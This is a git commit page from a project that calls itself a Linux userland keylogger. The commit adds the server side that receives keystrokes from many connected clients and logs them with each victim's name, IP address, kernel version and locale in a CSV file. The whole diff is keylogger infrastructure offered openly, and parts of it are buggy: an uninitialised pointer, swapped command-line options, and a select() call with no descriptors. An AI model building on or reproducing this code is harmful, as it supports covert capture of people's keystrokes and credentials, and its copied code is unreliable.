mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit fd732a66d1278f2b24d2a2278ae4daba4b63cbf6
parent c94e60f597996fa5ac22526b97457347a9cbdea8
Author: djnn.sh <[email protected]>
Date: Sun, 14 Jan 2024 08:57:23 +0100

feat(server): adding basic server loop

Diffstat:
Aserver/.clang-format | 18++++++++++++++++++
Mserver/Makefile | 2+-
Mserver/includes/server.h | 116++++++++++++++++++++++++++++++++++++++++++++++---------------------------------
Mserver/sources/csv.c | 49++++++++++++++++++++++++++-----------------------
Mserver/sources/lexxer.c | 81+++++++++++++++++++++++++++++++++++++++++--------------------------------------
Aserver/sources/loop.c | 112+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mserver/sources/main.c | 23+++++++++++++----------
Mserver/sources/net.c | 84++++++++++++++++++++++++++++++++++++++++++++++---------------------------------

8 files changed, 329 insertions(+), 156 deletions(-)

diff --git a/server/.clang-format b/server/.clang-format
@@ -0,0 +1,18 @@
+BasedOnStyle: Mozilla
+AccessModifierOffset: '-4'
+AllowShortIfStatementsOnASingleLine: Never
+BreakBeforeBraces: Allman
+ColumnLimit: '0'
+FixNamespaceComments: 'false'
+IndentCaseLabels: 'false'
+IndentWidth: '4'
+NamespaceIndentation: All
+TabWidth: '4'
+UseTab: Never
+SortIncludes: true
+IncludeBlocks: Preserve
+IncludeCategories:
+  - Regex:           '^"[[:alnum:]./]+"'       # Any "my_header.h"
+    Priority:        2
+  - Regex:           '<[[:alnum:]./]+>'        # System/Standard libs
+    Priority:        1
diff --git a/server/Makefile b/server/Makefile
@@ -28,7 +28,7 @@ OBJECT_DIR 		= ./objects
 vpath %$(PATTERN) $(SRC_DIR)
 
 MAIN		 	= main.c
-SRC 		 	= net.c lexxer.c csv.c
+SRC 		 	= net.c lexxer.c csv.c loop.c
 
 ########################
 #### COMPILATION #######
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -2,11 +2,26 @@
 #define SERVER_H
 
 #ifdef DEBUG
-    #include <string.h>
-    #include <errno.h>
-#endif
 
+#include <errno.h>
 #include <stddef.h>
+#include <stdio.h>
+#include <string.h>
+#include <syslog.h>
+
+#ifndef DEBUG_LOG
+#define DEBUG_LOG(s, ...)                              \
+    do                                                 \
+    {                                                  \
+        char data[256] = { 0 };                        \
+        if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
+            _exit(1);                                  \
+        syslog(LOG_NOTICE, data);                      \
+    } while (0)
+#endif
+
+#endif
+
 #include <sys/queue.h>
 #include <sys/types.h>
 #include <unistd.h>
@@ -16,9 +31,10 @@
 #define MAX_NB_CLIENT 128
 
 /* meant for key translations from xkbcommon and the event we receive. :^) */
-typedef struct translated_key {
-  char const *description;
-  char const representation;
+typedef struct translated_key
+{
+    char const* description;
+    char const representation;
 } translated_key_t;
 
 /*
@@ -26,68 +42,72 @@ typedef struct translated_key {
     all the information it has passed along to our server.
 */
 typedef struct client_state client_t;
-struct client_state {
-  int sockfd;
-
-  char current_buffer[STRING_BUFFER_SIZE];
-  ssize_t nb_bytes_in_buffer;
-
-  /* client metadata dumped in database */
-  char name[STRING_BUFFER_SIZE];
-  char ipaddr[STRING_BUFFER_SIZE];
-  char linux_version[STRING_BUFFER_SIZE];
-  char locale[STRING_BUFFER_SIZE];
-
-  TAILQ_ENTRY(client_state) clients;
+struct client_state
+{
+    int sockfd;
+
+    char current_buffer[STRING_BUFFER_SIZE];
+    ssize_t nb_bytes_in_buffer;
+
+    /* client metadata dumped in database */
+    char uuid[STRING_BUFFER_SIZE];
+    char name[STRING_BUFFER_SIZE];
+    char ipaddr[STRING_BUFFER_SIZE];
+    char linux_version[STRING_BUFFER_SIZE];
+    char locale[STRING_BUFFER_SIZE];
+
+    TAILQ_ENTRY(client_state)
+    clients;
 };
 
 /* main server object */
-typedef struct server_state {
+typedef struct server_state
+{
 
-  /* current clients */
-  TAILQ_HEAD(listhead, client_state) clients;
+    /* current clients */
+    TAILQ_HEAD(listhead, client_state)
+    clients;
 
-  struct user_options {
-    char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
-    unsigned short listen_port;
+    struct user_options
+    {
+        char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
+        unsigned short listen_port;
 
-    /*
-        TODO:
-        add encryption key config here, once protocol impl. is finished
-    */
-  } options;
+        /*
+            TODO:
+            add encryption key config here, once protocol impl. is finished
+        */
+    } options;
 
-  int sockfd;
-  int dbfd;
+    int sockfd;
+    int dbfd;
 
 } server_t;
 
 #define SUCCESSFUL 1
 #define ERROR 0
 
-#include <stdio.h> /* necessary for the snprintf in the macro */
-#include <syslog.h>
-
-#ifndef DEBUG_LOG
-#define DEBUG_LOG(s, ...)                                                      \
-  do {                                                                         \
-    char data[256] = {0};                                                      \
-    if (0 > snprintf(data, 255, s, ##__VA_ARGS__))                             \
-      _exit(1);                                                                \
-    syslog(LOG_NOTICE, data);                                                  \
-  } while (0)
-#endif
-
 #define KEY_PRESSED 1
 #define KEY_RELEASED 0
 
 // net.c
-int init_remote_connection(server_t *instance);
+int
+init_remote_connection(server_t* instance);
 
 // lexxer.c
-int parse_cli_arguments(server_t *instance, int ac, char **av, char **envp);
+int
+parse_cli_arguments(server_t* instance, int ac, char** av, char** envp);
 
 // csv.c
-int init_csv_dbfd(char const *filepath);
+int
+init_csv_dbfd(char const* filepath);
+
+// loop.c
+void
+loop(server_t* instance);
+int
+should_gracefully_exit(int code);
+int
+get_fd_size(void);
 
 #endif /* SERVER_H */
diff --git a/server/sources/csv.c b/server/sources/csv.c
@@ -10,41 +10,44 @@ underneath
     uuid, name, ip-addr, linux-version, locale, dump
 */
 
-#include "server.h"
 #include <fcntl.h>
 #include <unistd.h>
+#include "server.h"
 
-int init_csv_dbfd(char const *filepath) {
+int
+init_csv_dbfd(char const* filepath)
+{
 
-  if (!filepath || (!(*filepath)))
-    return -1;
+    if (!filepath || (!(*filepath)))
+        return -1;
 
-  /* obviously, we need to have a read-writable file */
-  int access_status = access(filepath, R_OK | W_OK);
+    /* obviously, we need to have a read-writable file */
+    int access_status = access(filepath, R_OK | W_OK);
 
-  /* file probably does not exist, let's create a file and return fd */
-  if (access_status == -1) {
-    int fd = open(filepath, O_CREAT | O_RDWR);
+    /* file probably does not exist, let's create a file and return fd */
+    if (access_status == -1)
+    {
+        int fd = open(filepath, O_CREAT | O_RDWR);
 #ifdef DEBUG
-    DEBUG_LOG("[+] created dbfd: %d\n", fd);
+        DEBUG_LOG("[+] created dbfd: %d\n", fd);
 #endif
-    return fd;
-  }
+        return fd;
+    }
 
-  /* all good, lets just open & return */
-  if (access_status == 0) {
-    int fd = open(filepath, O_RDWR);
+    /* all good, lets just open & return */
+    if (access_status == 0)
+    {
+        int fd = open(filepath, O_RDWR);
 #ifdef DEBUG
-    DEBUG_LOG("[+] opened existing dbfd: %d\n", fd);
+        DEBUG_LOG("[+] opened existing dbfd: %d\n", fd);
 #endif
-    return fd;
-  }
+        return fd;
+    }
 
-  /* incorrect perms is most likely */
+    /* incorrect perms is most likely */
 #ifdef DEBUG
-  DEBUG_LOG("[!] could not open %s: access() result: %d\n", filepath,
-            access_status);
-  DEBUG_LOG("incorrect file permissions is the most likely issue...\n");
+    DEBUG_LOG("[!] could not open %s: access() result: %d\n", filepath, access_status);
+    DEBUG_LOG("incorrect file permissions is the most likely issue...\n");
 #endif
-  return -1;
+    return -1;
 }
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -1,69 +1,72 @@
 
-#include "server.h"
-#include <bits/getopt_core.h>
 #include <getopt.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <strings.h>
 #include <unistd.h>
+#include "server.h"
 
 const static struct option cli_options[] = {
-    {"help", no_argument, 0, 'h'},
-    {"listen-port", required_argument, 0, 'p'},
-    {"db-path", required_argument, 0, 'd'},
+    { "help", no_argument, 0, 'h' },
+    { "listen-port", required_argument, 0, 'p' },
+    { "db-path", required_argument, 0, 'd' },
 };
 
-static void get_help(const char *bin_name) {
-  printf("%s: mazepa keylogger server\n\n", bin_name);
-  printf("USAGE:\n");
-  printf("\t--listen-port [-p]: specifies server listening port\n");
-  printf("\t--db-path     [-d]: specifies .csv filepath\n");
+static void
+get_help(const char* bin_name)
+{
+    printf("%s: mazepa keylogger server\n\n", bin_name);
+    printf("USAGE:\n");
+    printf("\t--listen-port [-p]: specifies server listening port\n");
+    printf("\t--db-path     [-d]: specifies .csv filepath\n");
 
-  printf("\t--help        [-h]: triggers help mode\n");
-  printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
+    printf("\t--help        [-h]: triggers help mode\n");
+    printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
 }
 
-int parse_cli_arguments(server_t *instance, int ac, char **av,
-                        __attribute__((unused)) char **envp) {
+int
+parse_cli_arguments(server_t* instance, int ac, char** av, __attribute__((unused)) char** envp)
+{
 
-  int c = 0;
-  int opt_idx = 0;
-  char const *short_options = "d:p:h";
+    int c = 0;
+    int opt_idx = 0;
+    char const* short_options = "d:p:h";
 
-  while ((c = getopt_long(ac, av, short_options, cli_options, &opt_idx)) !=
-         -1) {
+    while ((c = getopt_long(ac, av, short_options, cli_options, &opt_idx)) !=
+           -1)
+    {
 
-    switch (c) {
-    case 'h':
-      get_help(av[0]);
-      _exit(0);
+        switch (c)
+        {
+        case 'h':
+            get_help(av[0]);
+            _exit(0);
 
-    case 'd':
+        case 'd':
 
-      instance->options.listen_port = (unsigned short)strtoul(optarg, NULL, 0);
+            instance->options.listen_port = (unsigned short)strtoul(optarg, NULL, 0);
 #ifdef DEBUG
-      DEBUG_LOG("setting listen port to %d", instance->options.listen_port);
+            DEBUG_LOG("setting listen port to %d", instance->options.listen_port);
 #endif
-      break;
+            break;
 
-    case 'p':
+        case 'p':
 
-      bzero((void *)instance->options.db_filepath, STRING_BUFFER_SIZE);
-      memcpy((void *)instance->options.db_filepath, optarg,
-             strnlen(optarg, STRING_BUFFER_SIZE));
+            bzero((void*)instance->options.db_filepath, STRING_BUFFER_SIZE);
+            memcpy((void*)instance->options.db_filepath, optarg, strnlen(optarg, STRING_BUFFER_SIZE));
 #ifdef DEBUG
-      DEBUG_LOG("setting .db filepath to: %s", instance->options.db_filepath);
+            DEBUG_LOG("setting .db filepath to: %s", instance->options.db_filepath);
 #endif
-      break;
+            break;
 
-    case '?':
-      return ERROR;
+        case '?':
+            return ERROR;
 
-    default:
-      break;
+        default:
+            break;
+        }
     }
-  }
 
-  return SUCCESSFUL;
+    return SUCCESSFUL;
 }
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -0,0 +1,112 @@
+/*
+    stores main loop logic (that is managing entering / ending connections &
+    logging them keys)
+*/
+
+#include <ctype.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/select.h>
+#include <unistd.h>
+#include "server.h"
+
+/*
+    - call select() to know which available (net) sockets are ready to
+    do something
+    - accept incoming connections if any & assign new socket for each
+    - read from all available sockets
+    - if new keys are dumped, lets get xkbcontext & read the new keys
+    - check which items are to be stored in database
+    - store it by bulk updates
+        -> if anything fucks up at any point just trigger cleanup routine
+*/
+void
+loop(server_t* instance)
+{
+
+    while (should_gracefully_exit(0))
+    {
+        int fdsize = get_fd_size();
+        if (fdsize == -1)
+            break;
+
+        int sstat = select(fdsize, NULL, NULL, NULL, NULL);
+        if (sstat == -1)
+        {
+#ifdef DEBUG
+            DEBUG_LOG("select: %s", strerror(errno));
+#endif
+            break;
+        }
+    }
+}
+
+int
+should_gracefully_exit(int code)
+{
+    static int should_exit = 0;
+
+    if (code != 0 || should_exit)
+    {
+#ifdef DEBUG
+        DEBUG_LOG("[+] caught code: %d\n", code)
+#endif
+        should_exit = 1;
+    }
+    return should_exit;
+}
+
+static void
+sig_handler(int code)
+{
+    if (code == SIGINT)
+        should_gracefully_exit(code);
+}
+
+int
+get_fd_size(void)
+{
+
+    const char fdsize[] = "FDSize:";
+    char buf[4096] = { 0 };
+    int statfd = open("/proc/self/status", O_RDONLY);
+
+    if (statfd < 0)
+    {
+#ifdef DEBUG
+        DEBUG_LOG("open statfd: %s", strerror(errno));
+#endif
+
+        return -1;
+    }
+
+    const ssize_t num_read = read(statfd, buf, sizeof(buf) - 1);
+    if (num_read <= 0)
+    {
+#ifdef DEBUG
+        DEBUG_LOG("read statfd: %s", strerror(errno));
+#endif
+
+        return -1;
+    }
+
+    buf[num_read] = '\0';
+
+    const char* fdsize_ptr = strstr(buf, fdsize_ptr);
+    if (!fdsize_ptr)
+        return 256;
+
+    for (const char* char_ptr = fdsize_ptr + sizeof(fdsize) - 1; char_ptr <= buf + num_read; ++char_ptr)
+    {
+        if (isspace(*char_ptr))
+            continue;
+        else if (*char_ptr == 0)
+            return 256;
+
+        return atoi(char_ptr);
+    }
+
+    return 256;
+}
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -1,22 +1,25 @@
 
-#include "server.h"
 #include <unistd.h>
+#include "server.h"
 
-int main(int ac, char **av, char **envp) {
+int
+main(int ac, char** av, char** envp)
+{
 
-  server_t srv = {0};
+    server_t srv = { 0 };
 
-  if (!parse_cli_arguments(&srv, ac, av, envp)) {
+    if (!parse_cli_arguments(&srv, ac, av, envp))
+    {
 #ifdef DEBUG
-    DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
+        DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
 #endif
-    _exit(1);
-  }
+        _exit(1);
+    }
 
-  srv.sockfd = init_remote_connection(&srv);
+    srv.sockfd = init_remote_connection(&srv);
 #ifdef DEBUG
-  DEBUG_LOG("[+] socket initiated....preparing DB connection");
+    DEBUG_LOG("[+] socket initiated....preparing DB connection");
 #endif
 
-  srv.dbfd = init_csv_dbfd((char const *)srv.options.db_filepath);
+    srv.dbfd = init_csv_dbfd((char const*)srv.options.db_filepath);
 }
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -10,61 +10,75 @@
 
 #include "server.h"
 
-int init_remote_connection(server_t *instance) {
+int
+init_remote_connection(server_t* instance)
+{
 
 #ifdef DEBUG
-  DEBUG_LOG("Initiating remote connection with (localhost:%d)",
-            instance->options.listen_port);
+    DEBUG_LOG("Initiating remote connection with (localhost:%d)",
+              instance->options.listen_port);
 #endif
 
-  /*
-     creating initial socket...
+    /*
+       creating initial socket...
 
-     AF_INET          -> remote connection    (for local, use AF_UNIX)
-     SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
-     IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
+       AF_INET          -> remote connection    (for local, use AF_UNIX)
+       SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
+       IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
 
-  */
-  int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
-  if (sockfd < 0) {
+    */
+    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+    if (sockfd < 0)
+    {
 
 #ifdef DEBUG
-    perror("socket");
+        perror("socket");
 #endif
 
-    close(sockfd);
-    return -1;
-  }
+        close(sockfd);
+        return -1;
+    }
 
-  /* items required to bind socket to remote address */
-  int is_enabled = 1;
-  struct sockaddr_in addr = {.sin_family = AF_INET,
-                             .sin_port = htons(instance->options.listen_port),
-                             .sin_addr.s_addr = inet_addr("0.0.0.0")};
+    /* items required to bind socket to remote address */
+    int is_enabled = 1;
+    struct sockaddr_in addr = { .sin_family = AF_INET,
+                                .sin_port = htons(instance->options.listen_port),
+                                .sin_addr.s_addr = inet_addr("0.0.0.0") };
 
-  /* setting socket options to make connection more convenient */
-  if (setsockopt(sockfd, SOL_SOCKET,
-                 SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
-                                                 (useful for testing) */
-                 &is_enabled, sizeof(int)) < 0) {
+    /* setting socket options to make connection more convenient */
+    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
+                                                                       (useful for testing) */
+                   &is_enabled,
+                   sizeof(int)) < 0)
+    {
 
 #ifdef DEBUG
-    DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
+        DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
 #endif
 
-    close(sockfd);
-    return -1;
-  }
+        close(sockfd);
+        return -1;
+    }
 
-  if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+    if (bind(sockfd, (struct sockaddr*)&addr, sizeof(addr)) < 0)
+    {
 
 #ifdef DEBUG
-    DEBUG_LOG("connect: %s", strerror(errno));
+        DEBUG_LOG("connect: %s", strerror(errno));
 #endif
 
-    close(sockfd);
-    return -1;
-  }
+        close(sockfd);
+        return -1;
+    }
 
-  return sockfd;
+    if (listen(sockfd, MAX_NB_CLIENT) < 0)
+    {
+#ifdef DEBUG
+        DEBUG_LOG("listen: %s", strerror(errno));
+#endif
+
+        return -1;
+    }
+
+    return sockfd;
 }